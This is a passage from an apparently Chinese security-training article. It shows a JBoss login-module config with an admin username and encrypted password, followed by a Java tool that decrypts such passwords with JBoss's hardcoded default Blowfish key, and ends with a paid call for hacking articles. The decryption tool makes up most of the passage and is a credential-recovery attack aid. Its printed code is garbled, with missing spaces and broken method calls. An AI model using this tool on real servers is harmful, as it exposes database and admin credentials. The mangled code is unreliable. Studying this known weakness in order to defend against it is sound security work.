code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required"> <module-option name="username">admin</module-option> <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option> <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option> </login-module> </authentication> </application-policy> JBoss加密和解密代码: importjava.math.BigInteger; /* * JBoss.java - Blowfish encryption/decryption tool with JBoss default password * Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009 * * This file may be used under the terms of the GNU General Public License * version 2.0 as published by the Free Software Foundation: * http://www.gnu.org/licenses/gpl-2.0.html */ importjavax.crypto.*; importjavax.crypto.spec.SecretKeySpec; publicclassMain{ publicstaticvoidmain(String[] args) throwsException { if((args.length != 2) || !(args[ 0].equals( "-e") | args[ 0].equals( "-d"))) { System.out.println( "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>"); return; } Stringmode=args[ 0]; byte[] kbytes = "jaas is the way".getBytes; SecretKeySpeckey=newSecretKeySpec(kbytes, "Blowfish"); Ciphercipher=Cipher.getInstance( "Blowfish"); Stringout=null; if(mode.equals( "-e")) { Stringsecret=args[ 1]; cipher.init(Cipher.ENCRYPT_MODE, key); byte[] encoding = cipher.doFinal(secret.getBytes); out = newBigInteger(encoding).toString( 16); } else{ BigIntegersecret=newBigInteger(args[ 1], 16); cipher.init(Cipher.DECRYPT_MODE, key); byte[] encoding = cipher.doFinal(secret.toByteArray); out = newString(encoding); } System.out.println(out); } } 在线解密:https://www.json.cn/runcode/run_java/ image.png 援用链接 原创稿件征集 征集原创技术文章中,欢送投递 投稿邮箱:edu@antvsion.com 文章类型:黑客极客技术、信息保险热点保险研讨剖析等保险相关 经过审核并发布能收获200-800元不等的稿酬。 更多详情,点我查看! 靶场实操,戳“阅读原文“ |